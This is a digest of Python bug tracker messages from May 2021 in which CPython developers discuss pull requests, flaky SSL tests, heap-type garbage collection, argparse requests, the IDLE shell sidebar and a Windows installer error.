<1609366097.56.0.326063377127.issue42792@roundup.psfhosted.org> Message-ID: <1621979271.59.0.664949251399.issue42792@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- pull_requests: +24962 pull_request: https://github.com/python/cpython/pull/26373 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 17:49:33 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 25 May 2021 21:49:33 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1621979373.9.0.594775896271.issue42972@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- pull_requests: +24963 pull_request: https://github.com/python/cpython/pull/26372 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 17:50:49 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 25 May 2021 21:50:49 +0000 Subject: [issue42792] [MacOS] Can't open file in a separate (threading.Thread) thread In-Reply-To: <1609366097.56.0.326063377127.issue42792@roundup.psfhosted.org> Message-ID: <1621979449.51.0.836618930368.issue42792@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- pull_requests: -24961 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 17:50:56 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 25 May 2021 21:50:56 +0000 Subject: [issue42792] [MacOS] Can't open file in a separate (threading.Thread) thread In-Reply-To: <1609366097.56.0.326063377127.issue42792@roundup.psfhosted.org> Message-ID: <1621979456.58.0.0212310127045.issue42792@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- pull_requests: -24962 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 17:51:17 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 25 May 2021 21:51:17 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1621979477.04.0.578002741381.issue42972@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- pull_requests: +24964 pull_request: https://github.com/python/cpython/pull/26373 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 17:51:17 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 25 May 2021 21:51:17 +0000 Subject: [issue42792] [MacOS] Can't open file in a separate (threading.Thread) thread In-Reply-To: <1609366097.56.0.326063377127.issue42792@roundup.psfhosted.org> Message-ID: <1621979477.13.0.393853802566.issue42792@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- pull_requests: +24965 pull_request: https://github.com/python/cpython/pull/26373 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 18:06:20 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 25 May 2021 22:06:20 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1621980380.74.0.23098003349.issue42972@roundup.psfhosted.org> Erlend E. Aasland added the comment: Thanks! Hashlib PR comin' up. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 18:14:55 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 25 May 2021 22:14:55 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1621980895.55.0.42852606028.issue42972@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- pull_requests: +24966 pull_request: https://github.com/python/cpython/pull/26374 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 18:32:15 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 25 May 2021 22:32:15 +0000 Subject: [issue44237] test_ssl randomly fails on macOS GH Action: test_get_server_certificate_sni() and test_get_server_certificate_timeout() In-Reply-To: <1621974426.55.0.383928848705.issue44237@roundup.psfhosted.org> Message-ID: <1621981935.85.0.609122076971.issue44237@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- nosy: +erlendaasland _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 18:36:30 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 25 May 2021 22:36:30 +0000 Subject: [issue44092] [sqlite3] Remove special rollback handling In-Reply-To: <1620596162.31.0.000417990177807.issue44092@roundup.psfhosted.org> Message-ID: <1621982190.56.0.324433386661.issue44092@roundup.psfhosted.org> Erlend E. Aasland added the comment: Berker, does this look ok to you? ---------- title: [sqlite3] consider removing special rollback handling -> [sqlite3] Remove special rollback handling _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 18:40:31 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 25 May 2021 22:40:31 +0000 Subject: [issue44222] Improving _removeHandlerRef for a very long _handlerList In-Reply-To: <1621818745.43.0.712595663988.issue44222@roundup.psfhosted.org> Message-ID: <1621982431.04.0.882958120541.issue44222@roundup.psfhosted.org> miss-islington added the comment: New changeset 156699bca02dd2def844d03e26fc16a831336635 by Yonatan Goldschmidt in branch 'main': bpo-44222: Improve _removeHandlerRef() for a very long _handlerList (GH-26325) https://github.com/python/cpython/commit/156699bca02dd2def844d03e26fc16a831336635 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 18:44:47 2021 From: report at bugs.python.org (Steve Dower) Date: Tue, 25 May 2021 22:44:47 +0000 Subject: [issue43921] test_ssl fails on Windows buildbots In-Reply-To: <1619175378.51.0.235353622205.issue43921@roundup.psfhosted.org> Message-ID: <1621982687.85.0.655027204452.issue43921@roundup.psfhosted.org> Steve Dower added the comment: > But 3.9 and 3.8 are not failing on test_ssl, so do something has clearly changed. Are the failing tests new? They're flakey in the sense that they're not failing reliably, when they clearly should be :) If something changed about how any part of the response is written into the buffer, it could change when the OS decides to dispatch it and unblock the receiving thread, which is going to affect the state observed by the test at the time it observes it (and as we already know, there are inherent race conditions that sometimes recognise the close of the connection before it's finished reading). These are difficult tests to write, because there are so many weird interactions like this. In terms of this actual change, my best guess is that one of the removed checks actually mattered on Windows, probably because of a different compile flag. We just use the defaults as generated by their Perl scripts, and I'd hope that there'd be compile errors if anything too blatant was changed (I don't see anything obvious looking through 39258d3595300bc7b952854c915f63ae2d4b9c3e). But short of that, I don't see anything deterministic changed here. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 18:57:57 2021 From: report at bugs.python.org (Yonatan Goldschmidt) Date: Tue, 25 May 2021 22:57:57 +0000 Subject: [issue44222] Improving _removeHandlerRef for a very long _handlerList In-Reply-To: <1621818745.43.0.712595663988.issue44222@roundup.psfhosted.org> Message-ID: <1621983477.47.0.979850177047.issue44222@roundup.psfhosted.org> Change by Yonatan Goldschmidt : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 19:59:13 2021 From: report at bugs.python.org (Neil Schemenauer) Date: Tue, 25 May 2021 23:59:13 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1621987153.1.0.84484755293.issue42972@roundup.psfhosted.org> Change by Neil Schemenauer : ---------- nosy: +nascheme _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 20:19:05 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Wed, 26 May 2021 00:19:05 +0000 Subject: [issue43921] test_ssl fails on Windows buildbots In-Reply-To: <1619175378.51.0.235353622205.issue43921@roundup.psfhosted.org> Message-ID: <1621988345.59.0.568428005452.issue43921@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Thanks for the explanation! > They're flakey in the sense that they're not failing reliably, when they clearly should be :) Yeah, I do agree with you in this, but I am still not happy that they *realiably* pass in 3.9 and 3.8 in two different OS where now they fail: Windows and MacOS > But short of that, I don't see anything deterministic changed here. Well, but the test *deterministically* fail in 3.10 and main and don't fail in 3.9 or 3.8. And it also happens in MacOS. I really don't want to be annoying here, I really don't. But please, understand my position as RM when I say that I feel uncomfortable with this situation as the test pass without any problem or complication in previous releases and now they don't and there has been a huge change in OpenSSL in the middle. Also, the asyncio tests for SSL now hang a lot in the refleak buildbots. For example: https://buildbot.python.org/all/#/builders/673/builds/20 I feel uncomfortable with a solution that basically is "skip the tests", when the test before used to pass deterministically and without problems. I am not an expert in the SSL area by far, so I don't know exactly what is the risk here. I really apologize if I am insisting on this, but I think is important. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 20:25:38 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Wed, 26 May 2021 00:25:38 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1621988738.89.0.00222308232586.issue42972@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Victor, can you take a look at the opened PRs? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 20:26:12 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Wed, 26 May 2021 00:26:12 +0000 Subject: [issue44208] argparse: Accept option without needing to distinguish "-" from "_" in arg_string In-Reply-To: <1621619480.47.0.120101426559.issue44208@roundup.psfhosted.org> Message-ID: <1621988772.51.0.889240350121.issue44208@roundup.psfhosted.org> Raymond Hettinger added the comment: William, thank you for the suggestion, but we're going to decline for the reasons listed by Eric and me. ---------- resolution: -> rejected stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 20:58:30 2021 From: report at bugs.python.org (Eric Snow) Date: Wed, 26 May 2021 00:58:30 +0000 Subject: [issue43693] Logically merge cell and locals array. They are already contiguous in memory In-Reply-To: <1617276830.47.0.331349599371.issue43693@roundup.psfhosted.org> Message-ID: <1621990710.37.0.592029807587.issue43693@roundup.psfhosted.org> Change by Eric Snow : ---------- pull_requests: +24967 pull_request: https://github.com/python/cpython/pull/26375 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 22:22:44 2021 From: report at bugs.python.org (Catherine Devlin) Date: Wed, 26 May 2021 02:22:44 +0000 Subject: [issue44208] argparse: Accept option without needing to distinguish "-" from "_" in arg_string In-Reply-To: <1621619480.47.0.120101426559.issue44208@roundup.psfhosted.org> Message-ID: <1621995764.31.0.00416999666194.issue44208@roundup.psfhosted.org> Catherine Devlin added the comment: All that said, it's easy to imagine a PyPI package that would give this functionality for those who want it. Maybe even one that could also alter the behavior of Click and Typer. If you want to go that route, let me know. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 23:26:52 2021 From: report at bugs.python.org (John Belmonte) Date: Wed, 26 May 2021 03:26:52 +0000 Subject: [issue42194] Docs for argparse.BooleanOptionalAction missing "New in version 3.9" In-Reply-To: <1603972449.31.0.552627573436.issue42194@roundup.psfhosted.org> Message-ID: <1621999612.5.0.370601162537.issue42194@roundup.psfhosted.org> John Belmonte added the comment: I've opened a new PR, please review. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 23:46:18 2021 From: report at bugs.python.org (Inada Naoki) Date: Wed, 26 May 2021 03:46:18 +0000 Subject: [issue5758] fileinput.hook_compressed returning bytes from gz file In-Reply-To: <1239752882.45.0.853698903963.issue5758@psf.upfronthosting.co.za> Message-ID: <1622000778.08.0.693676824588.issue5758@roundup.psfhosted.org> Inada Naoki added the comment: > I did consider and confirm that mode="rb" does also provide a uniform solution, but it also regresses the behavior of uncompressed inputs, making them bytes where they were text. Of course, I suggested to use "rb" when you want to read bytes. * When reading binary from uncompressed file, mode="rb" just works for 3.6+. * When reading text from uncompressed file, mode="r" just works for 3.6+. * When reading binary from compressed file, mode="rb" just works for 3.6+. * Reading text from compressed file is not supported until Python 3.10. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 23:47:49 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Wed, 26 May 2021 03:47:49 +0000 Subject: [issue37596] Reproducible pyc: frozenset is not serialized in a deterministic order In-Reply-To: <1563203111.95.0.786255267379.issue37596@roundup.psfhosted.org> Message-ID: <1622000869.4.0.653715192199.issue37596@roundup.psfhosted.org> Raymond Hettinger added the comment: Is it possible to defer hash randomization until after pycs are generated? The underlying problem here is an intentional scrambling of data. If determinism is what is desired then deferring that action addresses the action cause of non-determinism rather than a downstream manifestation. Scrambling hashes provides a somewhat limited (and bypassable) security value. What it protects against is maliciously chosen user keys. That can only occur after modules are loaded. The risk isn't intrinsic to the module itself. Really, I don't think we should be rewriting sets to achieve this very limited goal that benefits very few users. That seems like the tail wagging the dog. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 00:07:14 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Wed, 26 May 2021 04:07:14 +0000 Subject: [issue37596] Reproducible pyc: frozenset is not serialized in a deterministic order In-Reply-To: <1563203111.95.0.786255267379.issue37596@roundup.psfhosted.org> Message-ID: <1622002034.74.0.8346760261.issue37596@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- Removed message: https://bugs.python.org/msg394414 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 01:36:26 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Wed, 26 May 2021 05:36:26 +0000 Subject: [issue42109] Use hypothesis for testing the standard library, falling back to stubs In-Reply-To: <1603301913.79.0.22425692211.issue42109@roundup.psfhosted.org> Message-ID: <1622007386.78.0.884215017266.issue42109@roundup.psfhosted.org> Terry J. Reedy added the comment: In order to understand what Paul is concretely proposing, I read and partly reviewed his PR. I thought about maintainability. Part A adds test.support.hypothesis_helper, similar in purpose to other specialized xyz_helper modules. Hypothesis_helper imports either hypothesis itself or a replacement 'as hypothesis'. The replacement is currently called '_hypothesis_stub', but its name is irrelevant as it is normally not seen by the user. Part B adds a second zoneinfo test module, one that uses hypothesis. Besides further testing zoneinfo, it serves to test hypothesis_helper and partly justify its addition. It starts with 'from hypothesis_helper import hypothesis. The new test module has tests such as @hypothesis.given( dt=hypothesis.strategies.one_of( hypothesis.strategies.datetimes(), hypothesis.strategies.times() ) ) @hypothesis.example(dt=datetime.datetime.min) @hypothesis.example(dt=datetime.datetime.max) @hypothesis.example(dt=datetime.datetime(1970, 1, 1)) @hypothesis.example(dt=datetime.datetime(2039, 1, 1)) @hypothesis.example(dt=datetime.time(0)) @hypothesis.example(dt=datetime.time(12, 0)) @hypothesis.example(dt=datetime.time(23, 59, 59, 999999)) def test_utc(self, dt): zi = self.klass("UTC") dt_zi = dt.replace(tzinfo=zi) self.assertEqual(dt_zi.utcoffset(), ZERO) self.assertEqual(dt_zi.dst(), ZERO) self.assertEqual(dt_zi.tzname(), "UTC") @given always (Paul?) runs the examples as subtests. When the replacement is imported, no randomized examples are added. If some year an example were to fail, could a hypothesis-ignorant zoneinfo-knowing person deal with the failure? I believe so, knowing that the above is equivalent to a test with "for dt in dt_list:\n with self.subTest(...):\n " Why not require such a rewriting? Some reasons against: Rewriting by hand can lead to errors. test_utc would have to be split into test_utc_ran(dom) and test_utc_pre(set). Code would have to be duplicated unless factored into a third function. For and with together add two indents, which sometimes squeezes assert onto more lines. I believe that when hypothesis is present, there are advantages to including preset examples with given-generated examples. Paul would like the PR to be a 'camel's nose' in the CPython tent. This cuts both ways. I think this PR should be judged on its own merits. Opening possibilities can be a merit as long as not seen as pre-approval. Our CI testing and buildbots are already configured to blame and annoy the wrong people for random failures. I don't want more unless failure notices are sent to someone responsible for the failing code. ---------- versions: +Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 02:11:58 2021 From: report at bugs.python.org (hai shi) Date: Wed, 26 May 2021 06:11:58 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622009518.57.0.741845480921.issue42972@roundup.psfhosted.org> hai shi added the comment: > * functools._lru_list_elem Looks like this type have performance in issue PR-5008 when supporting GC. I am not sure there have other similar questions or not. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 03:21:28 2021 From: report at bugs.python.org (Ned Deily) Date: Wed, 26 May 2021 07:21:28 +0000 Subject: [issue44234] Debugging with LLDB doesn't work for universal2 installer on macOS Big Sur In-Reply-To: <1621952450.41.0.860203928612.issue44234@roundup.psfhosted.org> Message-ID: <1622013688.24.0.623879824616.issue44234@roundup.psfhosted.org> Ned Deily added the comment: There's a reason for that. What the discussion in that link fails to note is that elsewhere Apple warns that that entitlement is understandably prohibited in distributions submitted to the Apple notarization service. See the "Avoid the Get-Task-Allow Entitlement" section here: https://developer.apple.com/documentation/security/notarizing_macos_software_before_distribution/resolving_common_notarization_issues. I haven't verified that that is still the case but I'd be surprised if it weren't. I think one solution (and possibly the best) might be to manually re-codesign the installed binaries if you need to use lldb with the python.org binaries. If someone comes up with something that works, we could document it somewhere with appropriate warnings about security risks and advice to reinstall when finished. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 03:26:23 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 26 May 2021 07:26:23 +0000 Subject: [issue44229] Intermittent connection errors in ssl tests on macOS CI In-Reply-To: <1621927496.04.0.290597318406.issue44229@roundup.psfhosted.org> Message-ID: <1622013983.59.0.525288060169.issue44229@roundup.psfhosted.org> Erlend E. Aasland added the comment: New failure in CI: https://github.com/python/cpython/runs/2669949777?check_suite_focus=true ====================================================================== ERROR: test_msg_callback_deadlock_bpo43577 (test.test_ssl.TestSSLDebug) ---------------------------------------------------------------------- Traceback (most recent call last): File "/Users/runner/work/cpython/cpython/Lib/test/test_ssl.py", line 4813, in test_msg_callback_deadlock_bpo43577 s.connect((HOST, server.port)) File "/Users/runner/work/cpython/cpython/Lib/ssl.py", line 1372, in connect self._real_connect(addr, False) File "/Users/runner/work/cpython/cpython/Lib/ssl.py", line 1359, in _real_connect super().connect(addr) ConnectionRefusedError: [Errno 61] Connection refused ---------- title: test_get_server_certificate fails intermittently on macOS -> Intermittent connection errors in ssl tests on macOS CI _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 03:57:03 2021 From: report at bugs.python.org (Inada Naoki) Date: Wed, 26 May 2021 07:57:03 +0000 Subject: [issue37596] Reproducible pyc: frozenset is not serialized in a deterministic order In-Reply-To: <1563203111.95.0.786255267379.issue37596@roundup.psfhosted.org> Message-ID: <1622015823.01.0.874132841159.issue37596@roundup.psfhosted.org> Inada Naoki added the comment: > What about normal sets? pyc files don't contain a regular set. So it is out of scope of this issue. ---------- nosy: +methane _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 03:57:19 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 26 May 2021 07:57:19 +0000 Subject: [issue44229] Intermittent connection errors in ssl tests on macOS CI In-Reply-To: <1621927496.04.0.290597318406.issue44229@roundup.psfhosted.org> Message-ID: <1622015839.49.0.319976109506.issue44229@roundup.psfhosted.org> Erlend E. Aasland added the comment: Build info for macOS CI attached. ---------- Added file: https://bugs.python.org/file50063/5_Display build info.txt _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 04:53:03 2021 From: report at bugs.python.org (Ricardo Daniel Fuentes) Date: Wed, 26 May 2021 08:53:03 +0000 Subject: [issue44238] Unable to install Python 3.9.5 - Windows Server Message-ID: <1622019183.28.0.514153258509.issue44238@roundup.psfhosted.org> New submission from Ricardo Daniel Fuentes : Hi, I am Admin of a Windows Server 2012 R2, I have installed successfully Python 3.9.5 (64-bit) however I cannot uninstall it, I get the error: "0x80070659 - The installation is forbidden by system policy. Contact your system administrator" I don't have any software system policies defined on this server so this could be a Python bug. attached the log. Regards, Ricardo ---------- components: Installation files: Python 3.9.5 (64-bit)_20210526084254.txt messages: 394421 nosy: RFuentes priority: normal severity: normal status: open title: Unable to install Python 3.9.5 - Windows Server versions: Python 3.9 Added file: https://bugs.python.org/file50064/Python 3.9.5 (64-bit)_20210526084254.txt _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 04:53:24 2021 From: report at bugs.python.org (Ricardo Daniel Fuentes) Date: Wed, 26 May 2021 08:53:24 +0000 Subject: [issue44238] Unable to install Python 3.9.5 - Windows Server In-Reply-To: <1622019183.28.0.514153258509.issue44238@roundup.psfhosted.org> Message-ID: <1622019204.45.0.831302698197.issue44238@roundup.psfhosted.org> Change by Ricardo Daniel Fuentes : ---------- type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 05:05:18 2021 From: report at bugs.python.org (Tal Einat) Date: Wed, 26 May 2021 09:05:18 +0000 Subject: [issue37903] IDLE Shell sidebar. In-Reply-To: <1566370033.98.0.615651298891.issue37903@roundup.psfhosted.org> Message-ID: <1622019918.91.0.414361125273.issue37903@roundup.psfhosted.org> Tal Einat added the comment: > For teaching purposes in live demos, it is essential to have a clear visual distinction between the inputs and outputs: > > >>> beatles = ['john', 'paul', 'ringo', 'george'] > >>> [name.capitalize() for name in beatles] > ['John', 'Paul', 'Ringo', 'George'] > >>> [name for name in beatles if 'n' in name] > ['john', 'ringo'] Thanks for bringing this up. Lack of clear separation of inputs and outputs could be considered a drawback of putting prompts in a sidebar. Considering that the prompts *are not part of the code*, I do believe separating them more clearly is a benefit. To support this, consider that in Jupyter notebooks, the prompts are also placed in a graphically-separated area to the left of both input and output "cells". Also, do note that IDLE colors outputs differently from inputs, which helps differentiate them from inputs very clearly IMO. Therefore, the examples in messages posted here are lacking in this regard. For context, I'm attaching an image with screenshots before and after the change to use a sidebar. Also, consider that previously, separation of outputs from inputs was not great for multi-line statements, as indentation was inconsistent and more vertical space was used: >>> if True: print('Foo') else: print('Bar') Foo I think that moving prompts into a sidebar is an improvement in this regard: >>>| if True: ...| print('Foo') ...| else: ...| print('Bar') ...| | Foo Taking these three points together, I the sidebar clearly improves the separation of prompts from actual code, and the differentiation of outputs from inputs does not seem much worse, and is arguably overall better. ---------- Added file: https://bugs.python.org/file50065/IDLE shell befoe and after sidebar.png _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 05:08:28 2021 From: report at bugs.python.org (Tal Einat) Date: Wed, 26 May 2021 09:08:28 +0000 Subject: [issue37903] IDLE Shell sidebar. In-Reply-To: <1566370033.98.0.615651298891.issue37903@roundup.psfhosted.org> Message-ID: <1622020108.29.0.892270650744.issue37903@roundup.psfhosted.org> Tal Einat added the comment: For a wider context, besides the default REPL, I also consider two other leading REPLs: ipython and Jupyter notebooks. They both also have clear separation of outputs from inputs, though in different ways than the standard REPL. ipython retains similar behavior to the standard REPL in this regard, replacing the '>>>' prompts with "In [1]:", "In [2]:" etc. It also prefixes outputs of statements with e.g. "Out[2]:", but not outputs written to stdout. And it has additional vertical spacing between commands. Here is a short example session: Python 3.8.5 (default, Jan 27 2021, 15:41:15) Type 'copyright', 'credits' or 'license' for more information IPython 7.18.1 -- An enhanced Interactive Python. Type '?' for help. In [1]: if True: ...: print('Foo') ...: Foo In [2]: beatles = ['john', 'paul', 'ringo', 'george'] In [3]: [name.capitalize() for name in beatles] Out[3]: ['John', 'Paul', 'Ringo', 'George'] Jupyter notebooks are a different beast since their interface is browser-based rather than terminal-based, and they take more advantage of non-text graphical elements than IDLE's shell. Inputs are done in "cells", which may contain multiple statements, and each cell its own output. These cells are clearly visually separate from each other. I've attached a screenshot of a similar Python 3 session in a Jupyter notebook for comparison. Indeed, both the ipython REPL and Jupyter notebooks go further than the default REPL in differentiating outputs from inputs, using different methods. ---------- Added file: https://bugs.python.org/file50066/Jupyter Notebook Example Session.png _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 05:11:25 2021 From: report at bugs.python.org (Tal Einat) Date: Wed, 26 May 2021 09:11:25 +0000 Subject: [issue37903] IDLE Shell sidebar. In-Reply-To: <1566370033.98.0.615651298891.issue37903@roundup.psfhosted.org> Message-ID: <1622020285.25.0.523352655742.issue37903@roundup.psfhosted.org> Tal Einat added the comment: > Another desirable feature is the ability to cut and paste snippets into docstrings. This is essential not just for doctest, but even for untested examples in docstrings. > Those examples, need to be recognizable to humans as interactive sessions with outputs clearly distinguished from inputs. When I tried out the new sidebar in prep for a class, it was impossible to include the ps1 prompts in a cut and paste selection. They had to be manually typed back in. This is no longer the case. In a quick followup PR, which has been merged for some time now, we added a context-menu option "Copy with prompts" which results in code samples directly usable for doctests and code samples. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 05:24:51 2021 From: report at bugs.python.org (Tal Einat) Date: Wed, 26 May 2021 09:24:51 +0000 Subject: [issue37903] IDLE Shell sidebar. In-Reply-To: <1566370033.98.0.615651298891.issue37903@roundup.psfhosted.org> Message-ID: <1622021091.85.0.197623548062.issue37903@roundup.psfhosted.org> Tal Einat added the comment: > Lastly, for live demos in presentations, it is desirable to have a clear screen, free of distracting artifacts. The sidebar is such an artifact -- you would never see such a thing in a book or slide presentation. Also, for live demos, large fonts are necessary which means that screen space is at a premium and the loss of horizontal space matters. I am not sure I agree with the strength with which you state "you would never see such a thing in a book or slide presentation". With Jupyter notebooks being very prevalent these days, samples very often include the non-code visual artifacts native to that format. Arguably, the *prompts* are a distracting visual artifact; the ability to cut them out of screenshots from Jupyter notebooks thanks to the clearer separation of cells and their inputs and outputs is indeed a boon, and we could consider whether we can do something similar for IDLE. As for lost vertical space, that is indeed at a premium for books and presentations. However, ipython significantly increases the vertical spacing to the left of code inputs and non-stdout outputs compared to the standard Python REPL and IDLE. And the sidebar adds 3.5 characters' width only for outputs, which can be avoided when it's truly crucial using the "Copy with prompts" feature. Overall, considering the benefits, this seems like a relatively minor drawback. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 05:31:07 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 May 2021 09:31:07 +0000 Subject: [issue44232] Crash in Objects/typeobject.c In-Reply-To: <1621942755.2.0.438042973363.issue44232@roundup.psfhosted.org> Message-ID: <1622021467.46.0.279245219746.issue44232@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 7b3b6982a5683f5146ede58a448d3edb777e501b by Miss Islington (bot) in branch '3.10': bpo-44232: Fix type_new() error reporting (GH-26359) (GH-26365) https://github.com/python/cpython/commit/7b3b6982a5683f5146ede58a448d3edb777e501b ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 05:48:45 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 26 May 2021 09:48:45 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622022525.78.0.208638001104.issue42972@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- pull_requests: +24968 pull_request: https://github.com/python/cpython/pull/26376 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 05:54:21 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 26 May 2021 09:54:21 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622022861.5.0.426212152292.issue42972@roundup.psfhosted.org> Erlend E. Aasland added the comment: I've opened PR's to fix most of the heap types converted during the 3.10 alpha phase. What's missing (of the 3.10 batch) is: - _thread types (this needs special care) - winapi__overlapped.Overlapped (I currently don't have a Win dev env at hand) For the types converted during 3.9 dev, should we backport to 3.9 or just 3.10? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 06:23:18 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 May 2021 10:23:18 +0000 Subject: [issue44232] Crash in Objects/typeobject.c In-Reply-To: <1621942755.2.0.438042973363.issue44232@roundup.psfhosted.org> Message-ID: <1622024598.59.0.467249094064.issue44232@roundup.psfhosted.org> STINNER Victor added the comment: Ok, it's now fixed in 3.10 and main branches. Thanks for the bug report, and thanks Ken Jin for your PR ;-) ---------- priority: release blocker -> resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 06:30:23 2021 From: report at bugs.python.org (Christian Heimes) Date: Wed, 26 May 2021 10:30:23 +0000 Subject: [issue44238] Unable to install Python 3.9.5 - Windows Server In-Reply-To: <1622019183.28.0.514153258509.issue44238@roundup.psfhosted.org> Message-ID: <1622025023.42.0.741474883455.issue44238@roundup.psfhosted.org> Change by Christian Heimes : ---------- components: +Windows nosy: +paul.moore, steve.dower, tim.golden, zach.ware _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 06:58:43 2021 From: report at bugs.python.org (oxalica) Date: Wed, 26 May 2021 10:58:43 +0000 Subject: [issue44239] Use platform defined data directories instead of ~/.python_history Message-ID: <1622026723.74.0.652330213731.issue44239@roundup.psfhosted.org> New submission from oxalica : Currently we use path `~/.python_history` for history file in all platforms. It is not a good choice since it spams in user's home directory. There are already specifications for where to store program data. For Windows, we should use `%APPDATA%/Python/history`; for Mac OS, we should use `~/Library/Application Support/Python/history`; for other POSIX platforms, we should use `$XDG_DATA_HOME/python/history` or `~/.local/share/python/history` according to XDG Spec. These paths should be preferred as default. But we can also check and use `~/.python_history` if it exists and readable, for compatibility. ---------- components: Library 